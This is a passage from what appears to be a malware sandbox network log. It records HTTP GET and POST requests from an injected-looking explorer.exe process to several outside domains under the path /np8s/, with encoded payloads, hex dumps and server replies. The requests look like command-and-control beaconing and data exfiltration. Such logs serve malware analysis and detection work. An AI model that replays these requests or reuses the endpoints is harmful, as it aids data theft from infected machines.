69 75 6e 4b 4a 77 5f 41 72 34 6e 6a 51 79 58 43 63 48 55 59 7a 67 56 6f 64 46 61 52 57 45 6e 51 7a 5a 67 28 37 6d 31 76 55 4b 4a 47 6b 52 65 33 71 34 68 66 31 65 4b 4b 38 6d 70 68 5a 75 51 39 32 61 61 43 5a 72 Data Ascii: zVB=S9TWziuzoosCb4(5qxo-gr1Il5002oUj7fkd2vrPu8kwjW0ejDdg9FHg3Wb64nF1(AEqiK2qJWXk~Nc0tFYpreVFTBu4RnGI5Twq(9CyKCRbFDcmcSkEPsCkF2tuB0TKIjboj2oXicjR(jxVAeOnfsfaXsr7sdjLNkHE3_1swdfp6Zy-IAu2p4TedSZTlp8TuvLp9Mx8hjqzLsDoA74V5gTLSonI~1t7Ft6lBmKh2n25WtV4T9okkwUncTy9iGLCz6udw8N_icSTn9KM5tdg17PU(7GyTMw_OP592gXPpAM-1qhQyDBoJPxtTArw1rbkDqUi5vdNkCo1ArHMvRAmTcJfxCfif4qkdb7tGwbaASEzo1goLCpYLIg_SiBzvc9e692cJViKNRpbG1j44FIQ(hbBY3pW9Bkr~ex6RJiozNyW60fgT8ARarv6vKWygBI1Gs4ewEUhJRzbFIW1dVj-codJU1lBeypNQU96MM63q7lLsL~DZKP0UBD0Ia34yxzO3u4vTW9R9Okd3qGfXUt97-S0QWXR8PHjEkLiYbMKV5ilaKcVHXIVXXy3Sir3csWLippNnBdi8mC1unCISpTlOncHHrlNFcLhGQKXCgOqGc0UOrmcIe4tVnRmvYT0fGlawSKJ6gTf4YPHr8zqz6HDaGAPIeI2h9HMDbJ6J1AlT2rXWOVIrAMMfH~mioSj6iDJQPP6tGy6GXgQ~-WBHEre0ku2KnMD1QGcUiTexu(IjdeVVjiXZlAWaGSByiKNk3UhrA5sUszftwG7LjqA7obJlDyfFmGUJu4MA3V09xoXjm3ItGwRYjoZS94ppFmJPgza66Yn9LcpsRdtmHlQGgA3Vyz2uy8HN9wZsXVNvUSrz7tVchMc9TiG3xrWpUDID2oRGZ0lB8uJYccvtFz-4H(urlAyxynfz8KwII68XRAzjAJDoyjCfoCg7kXJAmcY8M7qdnDahrJN50T9X_HZ6YUiO4QbIiWhbl8HPB(IqTTXMYAn9E4Cbshv323GKf1xkWDyyJ~bKTk34g3r5VUuVFf0EB9Z14mwbSy7wVqfUwBKY3mgRTEk5p2j90mxIylBrri5YsubCBwf3NM5Hb3jgTsb(47EylqCaQplS0eZihoFcvz4~1U8nkCpQsZvSuxuHTaZ2L8IYWWJdnsi(vZTvofLK6WEIwgx3liefJEWdBEkTiEsjgnPzHqrj3Zs30GyLF93xRbIUtQnNenXUIPHbPz7nzMkpK4QEFxvajCBdZ2VNdJ3OsRTwHkv0_Nd3wLiaqj8txTzKJ(MUiunKJw_Ar4njQyXCcHUYzgVodFaRWEnQzZg(7m1vUKJGkRe3q4hf1eKK8mphZuQ92aaCZr_iZyy6PnkZK(dsg0p6BYlc1wewIMGdM~pJrmpsArEInXhs4jGZNUEGqOyYQQcy_c3slRu9AQt3Hy2ce0THFm2w-ZaONJOT1TW4d9eLOAGtY3Jlppo06aM7_npu-3Ik9dNBVXj5VCiVFevK94RZTK695Txvznce24p0vhvRd0bEd5QtPvZf_F-iX9sSGUqJJvivwFUNhsZFBXsMDK0y9jLrAOG8aJ4Ha00eE~aInMKrh1BNg8dhZGyFwPgfOr3p4eMhbz7QeoSsFHU2G7AsH35a92bAKYxbPeOa5ULDj4FYBnt9N1l(hjbwpxpvqNhchqI61lnuq0wxXg_DtHg6gugowAcAFpjm5gE1QKKwyXr8Xs8ljas(YEutQea4ZphQ3vsrXAdmQWVwZ~-cEDnrpRhm18bJqUHRK8sHin5V2G9qo8HUh91J-RIVqop3-bzu87ExUn39Ij-HTcoNxW6y19DZjAZnW3o6Ht0wL5R7WcukjngG7P5vT5QBBGsFdAfhOgm17ozUMASm1ZxMUDTMqvgIlYXLyDf0f4liXS2vv8c8soo4jxwlgJj(uQT9nZBzQi0irVkldrdJF29O4J-wWhURHSmJREqj3RJnOzh8Czrgu0ltM44AAr8I9Bo(J1WXhGVXrijm3LXBjqeBW8wSEm1RkDQ5oiKiJmcZQUXA_(jhVoX2epEEHrzYY6JyKE5gxEGE2Nlm9ezDkn8Pq~6VyD3lNWh4fYssKRJMRV50vXrMHYi2xg3mPQPL9YqUV7l8VV5p2pDw8ginsWuz4LBANRe3HW6lK3tW4jfd6tSLGyyDtrouB0oxkYC98qQ5WPSMRzt(cnPT9UmlyXsejnx74CaKU~gdIomXTX3BR5Ik1A1yrV3xw2RoODZbv0USV2oeMCLbEitQN4xhNkyDl2NKX4N~6c_~CvK8aCXjGeYPJNlAxzTeix2dpObjAolUXh_1KZmwgTD(9VAQSQ0UOD-W3qKIIEzm3ulYWKFV5vS77O9NBW66jh4MPrHvSAiemOCJW0xsmzE0LmEroavcayLtBwuYb7xhfvnDKDc4SGvAwa6c9zwdDHgXtjLzqEXFu17M3dZ3GEwvc1sB5qIBRed3lPRu6wMafRw(vGXbP6Cj_HhlMUO9HlJYiz-5uEoa6a9zuZ5AD6SLAjydSEIKBUNn7AMWWfiXLF30JdFes2ForyST-lV3X0IINDg0_lj3CH4bpvGdqOk22GrI4d7Dfo3pyBVOWcd72w5SMLSz_uEFlwbYD8qfLPMOe4CMt37IpRV7bt_Jx~Ncm3FgcwrErgJ~Fj2R-Dk39K3DWqyFekN55HPG9MuSNEyN4LK95DCQtnvt1ynSFgIEILJ2s2jCD~WQzquS8o-OdmZVnqaSDKSzRs_(hs3CgaXWXlMxOSvkHJQqLDY(Z3Ljc0_Evy9P22UcWvctU8vd5Ysn4pSW2BkOjOYmy0rXu8SaHxcm4WDEPhwsKDctAaOlF7j414AsyXd~fjkadvFriVSV0k5NhGUhitWBYeLa6S7GcE3zQ9OD6eovuEmg8kDnaqGpJtAJGNt(HnnfUd0M9o4fv3Evr6e9UPFVFWr2hE11Vxar5BeNVDXZYMgjnsl5p1f4-Y1taed2GN8AyFRbOWI3ibIhK5FcIJEhzaQh0ZjIjWlq1gnjTIFbvM_D_6N(2o2nFDaCza86K98H2DayiRGMfxHte03Bxleu2v7E_pIpj9MxkeLpsF50Zf2VtQCPhFXUbVOLMY8LFTXiIdbzuRY6QyVvBtQ7E5W1UIr1Vx8~dmk2y1tZ9Pn0yhgzj8B0H3_yKRmFxftzNIL~TrCcicLtYoH4gSW6S(oOiFduThxF6ZnIj4dJfO_~7VNmZ0C9DHGdYXLL6HKelE3aoE_TkEzmqbeo4xOmxWOvPfQYfaI0NILO3X0jkI-6d6KYO62eoZrhlTR6mEDdJGmgn4zCkviea0ebpx3GRJLFIC36WJcWQ0gSUnEwgFAplvAoynnOcMSUmwGYWJYDTy1Yi1VdyTCFjp3en0V9kSTU2H60-6AWuB5f65JFrnQJQ3uXMzMgYiUwFkrnMZiZk2nraaEYF602Dq5gPaPq04j5Mzz1P4uvS8mejoYMQkiaOpHSxi3VvsIHP2zAdoD3cnrrwgOizrowJE0BD7iiRLvb5RDQxhNBs471N47R5UGEy6JNacNhlyU2pvdY8NNyS9CPgwbluwbtrA9ziOnf_r6SBRbba86DgRi3UdW~BUe7FJ3NRcA1I6tdW0s6FQdV94ASe6GuIqZr3BkOuAK180bDHXW(Cg1lZCC5H(HC7Z-90jVDlxuC1KIQJY1seNlTpf3IDRiN8Opar~eSZyKKAEi6VjJZ2USX1m7E3uHa8oBov(fGYuO24jXukeQPbjlf4QEToI7IEfdXYaRkYZgqip3NBiAwukoQdxgCoKeAphv8EB0NQ00yRIVCIdNjJpLUWrfCMx33vfd3Uk1hNHAZSRI6lb0HePrB5elAkYzgZu1bg82uFhsQw50f_tOj0KvZOWq9xui8q3vv4lJ8v~J(_SeSN4ow_u8V-m0Pf1PQVyeY9uZX6lZdYJoBC(pGirX8_Co(Ra_OniGduPZABKh975nPcE_Pta1HnKBAuTtEQOJ~hxxSTWpS50d53aGWHjjOMsx1c~aPK(WuVwY0JhRTI9yjWGbwkMqbPEIX64vHBSuo8T7EhSCh_9RDC3FFVdlcsUjkq1LkbucLKOP1c
May 27, 2022 18:45:15.800251961 CEST	10098	OUT	Data Raw: 2d 44 2d 58 4d 4b 79 7a 4f 39 52 65 46 62 6f 38 77 78 6a 30 56 50 48 6f 44 78 6d 67 70 44 4a 71 59 33 70 41 58 30 54 33 69 6c 63 71 51 73 49 4e 54 52 71 46 5a 6a 4a 46 53 35 51 4f 53 4d 4c 6b 36 49 78 70 36 73 5f 76 34 7a 57 54 6f 6b 5f 61 37 59 Data Ascii: -D-XMKyzO9ReFbo8wxj0VPHoDxmgpDJqY3pAX0T3ilcqQsINTRqFZjJFS5QOSMLk6Ixp6s_v4zWTok_a7YYdtOY(5nOFhQ32B878fR9HRShP-aouEUIZnG3sVsBovfIF-xvuJw6sDyXMcuG9hB7CqpGvLDvfKQ1Jmq8hBAybuj_Bg3rqQbnoJoms9eWMwSSyGB7DHYxb7VXsfD5G1~7Sf7DicctDxf6ClyonOi9RQvG~BmOxcaJ
May 27, 2022 18:45:15.800319910 CEST	10104	OUT	Data Raw: 65 69 66 74 36 41 7a 48 77 44 45 4f 58 6a 5f 58 47 71 4b 6c 4d 4a 68 73 37 4b 79 53 65 4c 59 37 43 7a 76 28 58 47 35 63 73 78 79 31 56 65 58 34 72 44 6c 6d 33 7e 42 55 45 30 5f 44 52 34 69 59 78 74 4f 6a 50 41 55 71 62 6d 65 7a 79 68 48 4f 36 70 Data Ascii: eift6AzHwDEOXj_XGqKlMJhs7KySeLY7Czv(XG5csxy1VeX4rDlm3~BUE0_DR4iYxtOjPAUqbmezyhHO6pvLvxzeUEVskl4~1DbduSlVEVu07OOKlgjPEAiqe4vd41-0LMqrIiT3rwpM839dbM64_KDZM55m5QZ0ExLEATam1mdQFpUmba6D5Z0XGIlQYJ1GBi9OTII2bjgHfyH3hodJx(H2Dx5n3jCIp3pCPN9LeUVcSCyezsj
May 27, 2022 18:45:15.800419092 CEST	10104	IN	HTTP/1.1 404 Not Found Connection: close content-type: text/html content-length: 252 content-encoding: gzip vary: Accept-Encoding,User-Agent,User-Agent date: Fri, 27 May 2022 16:45:15 GMT server: LiteSpeed Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4c 8b b1 0e 82 40 10 05 fb fb 8a 95 5e 17 0c e5 66 13 61 97 dc 25 27 10 b3 14 f4 5c 42 25 51 e1 ff 0d d2 58 be 99 79 74 92 ae b6 b1 57 f0 76 8f d0 0f 55 0c 35 64 67 c4 a0 d6 20 8a c9 61 ae 97 1c 51 db 8c 1d ed 9b c9 eb 4d d8 91 05 8b ca 65 5e 42 bb ac d0 2c db 73 22 3c a0 23 fc 45 54 75 32 ee bf 82 ff 1a 5f b0 b3 39 c1 3b bd b6 f4 59 d3 04 c3 23 c2 17 00 00 ff ff 04 c1 bb 11 80 20 0c 00 d0 de 29 32 01 b4 16 1c b5 b6 6e 10 25 2a 1e bf 4b a2 59 df f7 7c 1b b3 78 30 14 68 5d e1 ec 6f 4b d0 1b e8 9d 05 84 f8 23 76 53 58 b6 38 85 35 9a 99 7b ca 6e a8 c4 09 2b 5e c4 34 30 b3 10 aa 16 72 47 af 3f 00 00 00 ff ff b2 d1 f7 b4 e3 b2 d1 77 f2 77 89 b4 b3 d1 f7 08 f1 f5 b1 e3 1a c9 00 00 00 00 ff ff 03 00 1f 08 e8 aa f0 01 00 00 Data Ascii: L@^fa%'\B%QXytWvU5dg aQMe^B,s"<#ETu2_9;Y# )2n%*KY\|x0h]oK#vSX85{n+^40rG?ww

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.5	49964	170.39.76.27	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:45:15.799755096 CEST	10090	OUT	GET /np8s/?4hM4=o4B0f&zVB=d/nstEfJj6EqHIao63FJ0s9GuqA95KQHoqtaktjr9/p2jHwlkCQ3yhCEo1SUrSQk5nZl HTTP/1.1 Host: www.jlbwaterdamagerepairseattle.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 27, 2022 18:45:15.942406893 CEST	10105	IN	HTTP/1.1 404 Not Found Connection: close content-type: text/html content-length: 584 date: Fri, 27 May 2022 16:45:15 GMT server: LiteSpeed vary: User-Agent,User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6e 70 38 73 2f 3f 34 68 4d 34 3d 6f 34 42 30 66 26 61 6d 70 3b 7a 56 42 3d 64 2f 6e 73 74 45 66 4a 6a 36 45 71 48 49 61 6f 36 33 46 4a 30 73 39 47 75 71 41 39 35 4b 51 48 6f 71 74 61 6b 74 6a 72 39 2f 70 32 6a 48 77 6c 6b 43 51 33 79 68 43 45 6f 31 53 55 72 53 51 6b 35 6e 5a 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 48 52 3e 0a 3c 49 3e 77 77 77 2e 6a 6c 62 77 61 74 65 72 64 61 6d 61 67 65 72 65 70 61 69 72 73 65 61 74 74 6c 65 2e 63 6f 6d 3c 2f 49 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>Not Found</H1>The requested URL /np8s/?4hM4=o4B0f&zVB=d/nstEfJj6EqHIao63FJ0s9GuqA95KQHoqtaktjr9/p2jHwlkCQ3yhCEo1SUrSQk5nZl was not found on this server.<HR><I>www.jlbwaterdamagerepairseattle.com</I></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49872	207.174.214.35	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:42:49.083741903 CEST	9502	OUT	GET /np8s/?zVB=/pe3of3KthlHX+AZdE40oBjh24oMUm2DhTWzf9+6lBsOaTWyqOSb4stDRDmzQmtt1180&4hM4=o4B0f HTTP/1.1 Host: www.halecamilla.site Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 27, 2022 18:42:49.263252020 CEST	9503	IN	HTTP/1.1 404 Not Found Date: Fri, 27 May 2022 16:42:49 GMT Server: nginx/1.19.10 Content-Type: text/html Content-Length: 583 Last-Modified: Tue, 15 Mar 2022 21:44:23 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 20 7d 20 31 30 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 20 7d 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 5f 73 6b 7a 5f 70 69 64 20 3d 20 22 39 50 4f 42 45 58 38 30 57 22 3b 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 63 64 6e 2e 6a 73 69 6e 69 74 2e 64 69 72 65 63 74 66 77 64 2e 63 6f 6d 2f 73 6b 2d 6a 73 70 61 72 6b 5f 69 6e 69 74 2e 70 68 70 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 61 64 65 72 22 20 69 64 3d 22 73 6b 2d 6c 6f 61 64 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } </style> <script language="Javascript">var _skz_pid = "9POBEX80W";</script> <script language="Javascript" src="http://cdn.jsinit.directfwd.com/sk-jspark_init.php"></script></head><body><div class="loader" id="sk-loader"></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49873	137.220.133.198	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:42:54.849509001 CEST	9504	OUT	GET /np8s/?4hM4=o4B0f&zVB=OAQ8ZAk71VYHsoGBQeS0cLLvyBMKMlAsSK0ta2CkcQgnl+jMatCDHwZEkBjakU6FhLRf HTTP/1.1 Host: www.ratebill.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 27, 2022 18:42:55.214488029 CEST	9504	IN	HTTP/1.1 200 OK Server: Tengine Date: Fri, 27 May 2022 16:42:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 31 0d 0a 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49879	162.0.230.89	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:43:00.507277012 CEST	9513	OUT	GET /np8s/?zVB=+1vSQSU4VFPBNkL8EMH3DU8MRg7YeuqbcMOylP3M0ivye7s4zRc3erRZEMINrnM1Idbq&4hM4=o4B0f HTTP/1.1 Host: www.topings33.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 27, 2022 18:43:00.749012947 CEST	9513	IN	HTTP/1.1 404 Not Found Date: Fri, 27 May 2022 16:43:00 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 279 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 6f 70 69 6e 67 73 33 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.topings33.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49889	170.39.76.27	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:43:24.507529020 CEST	9524	OUT	POST /np8s/ HTTP/1.1 Host: www.jlbwaterdamagerepairseattle.com Connection: close Content-Length: 409 Cache-Control: no-cache Origin: http://www.jlbwaterdamagerepairseattle.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.jlbwaterdamagerepairseattle.com/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 53 39 54 57 7a 6a 54 34 6d 34 78 55 56 49 6a 61 73 47 34 71 30 72 6c 77 6d 4a 77 72 34 4a 34 34 74 39 4d 76 34 4b 57 39 74 39 4e 74 79 31 52 38 31 78 74 34 39 46 58 46 37 45 76 32 70 58 42 30 28 41 74 37 69 4b 36 71 49 56 6d 76 39 73 4d 53 73 6e 41 6f 70 2d 56 39 53 42 76 38 56 6d 62 59 35 51 63 55 28 2d 69 69 4b 52 56 62 47 6c 51 6d 4e 68 38 31 4d 4d 43 69 4e 57 39 79 63 45 66 74 49 6e 7e 31 6a 7a 49 58 69 73 76 52 77 69 42 55 49 35 61 67 4c 73 65 51 42 38 72 6d 32 74 66 31 4e 69 62 63 33 2d 4a 73 33 76 37 70 36 4e 43 2d 4f 33 37 67 69 6f 54 58 5a 53 5a 55 7a 5a 35 4e 75 72 72 74 39 4e 31 73 6d 52 32 7a 49 38 44 31 4b 4d 46 31 6f 44 4b 4a 42 6f 54 76 7e 31 70 57 45 35 37 32 42 6e 58 79 67 69 79 73 53 50 4e 42 54 5f 6b 43 6d 51 55 37 54 7a 79 6d 69 47 4c 79 7a 36 76 2d 77 38 52 5f 69 64 4b 54 6f 4e 36 4d 6f 5f 45 32 33 4c 50 4e 31 62 47 73 58 4d 4e 6b 4f 50 67 57 32 69 6a 6c 70 51 77 2d 6e 50 39 51 36 48 68 72 63 50 77 6f 53 41 71 74 6f 37 62 64 44 71 56 50 35 74 30 49 6b 56 67 31 41 36 48 4d 73 7a 59 6d 55 38 4a 66 30 43 66 38 52 59 6e 76 64 62 6a 78 47 77 72 4b 41 6b 49 7a 6f 6b 41 6f 4c 6d 39 59 49 34 67 5f 4c 79 41 34 76 4f 55 52 39 4f 75 58 44 32 7a 79 53 51 78 4a 46 47 6d 48 73 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: zVB=S9TWzjT4m4xUVIjasG4q0rlwmJwr4J44t9Mv4KW9t9Nty1R81xt49FXF7Ev2pXB0(At7iK6qIVmv9sMSsnAop-V9SBv8VmbY5QcU(-iiKRVbGlQmNh81MMCiNW9ycEftIn~1jzIXisvRwiBUI5agLseQB8rm2tf1Nibc3-Js3v7p6NC-O37gioTXZSZUzZ5Nurrt9N1smR2zI8D1KMF1oDKJBoTv~1pWE572BnXygiysSPNBT_kCmQU7TzymiGLyz6v-w8R_idKToN6Mo_E23LPN1bGsXMNkOPgW2ijlpQw-nP9Q6HhrcPwoSAqto7bdDqVP5t0IkVg1A6HMszYmU8Jf0Cf8RYnvdbjxGwrKAkIzokAoLm9YI4g_LyA4vOUR9OuXD2zySQxJFGmHsg).
May 27, 2022 18:43:24.652365923 CEST	9525	IN	HTTP/1.1 404 Not Found Connection: close content-type: text/html content-length: 252 content-encoding: gzip vary: Accept-Encoding,User-Agent,User-Agent date: Fri, 27 May 2022 16:43:24 GMT server: LiteSpeed Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4c 8b b1 0e 82 40 10 05 fb fb 8a 95 5e 17 0c e5 66 13 61 97 dc 25 27 10 b3 14 f4 5c 42 25 51 e1 ff 0d d2 58 be 99 79 74 92 ae b6 b1 57 f0 76 8f d0 0f 55 0c 35 64 67 c4 a0 d6 20 8a c9 61 ae 97 1c 51 db 8c 1d ed 9b c9 eb 4d d8 91 05 8b ca 65 5e 42 bb ac d0 2c db 73 22 3c a0 23 fc 45 54 75 32 ee bf 82 ff 1a 5f b0 b3 39 c1 3b bd b6 f4 59 d3 04 c3 23 c2 17 00 00 ff ff 04 c1 bb 11 80 20 0c 00 d0 de 29 32 01 b4 16 1c b5 b6 6e 10 25 2a 1e bf 4b a2 59 df f7 7c 1b b3 78 30 14 68 5d e1 ec 6f 4b d0 1b e8 9d 05 84 f8 23 76 53 58 b6 38 85 35 9a 99 7b ca 6e a8 c4 09 2b 5e c4 34 30 b3 10 aa 16 72 47 af 3f 00 00 00 ff ff b2 d1 f7 b4 e3 b2 d1 77 f2 77 89 b4 b3 d1 f7 08 f1 f5 b1 e3 1a c9 00 00 00 00 ff ff 03 00 1f 08 e8 aa f0 01 00 00 Data Ascii: L@^fa%'\B%QXytWvU5dg aQMe^B,s"<#ETu2_9;Y# )2n%*KY\|x0h]oK#vSX85{n+^40rG?ww

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49890	170.39.76.27	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:43:24.664593935 CEST	9538	OUT	POST /np8s/ HTTP/1.1 Host: www.jlbwaterdamagerepairseattle.com Connection: close Content-Length: 36477 Cache-Control: no-cache Origin: http://www.jlbwaterdamagerepairseattle.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.jlbwaterdamagerepairseattle.com/np8s/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 7a 56 42 3d 53 39 54 57 7a 69 75 7a 6f 6f 73 43 62 34 28 35 71 78 6f 2d 67 72 31 49 6c 35 30 30 32 6f 55 6a 37 66 6b 64 32 76 72 50 75 38 6b 77 6a 57 30 65 6a 44 64 67 39 46 48 67 33 57 62 36 34 6e 46 31 28 41 45 71 69 4b 32 71 4a 57 58 6b 7e 4e 63 30 74 46 59 70 72 65 56 46 54 42 75 34 52 6e 47 49 35 54 77 71 28 39 43 79 4b 43 52 62 46 44 63 6d 63 53 6b 45 50 73 43 6b 46 32 74 75 42 30 54 4b 49 6a 62 6f 6a 32 6f 58 69 63 6a 52 28 6a 78 56 41 65 4f 6e 66 73 66 61 58 73 72 37 73 64 6a 4c 4e 6b 48 45 33 5f 31 73 77 64 66 70 36 5a 79 2d 49 41 75 32 70 34 54 65 64 53 5a 54 6c 70 38 54 75 76 4c 70 39 4d 78 38 68 6a 71 7a 4c 73 44 6f 41 37 34 56 35 67 54 4c 53 6f 6e 49 7e 31 74 37 46 74 36 6c 42 6d 4b 68 32 6e 32 35 57 74 56 34 54 39 6f 6b 6b 77 55 6e 63 54 79 39 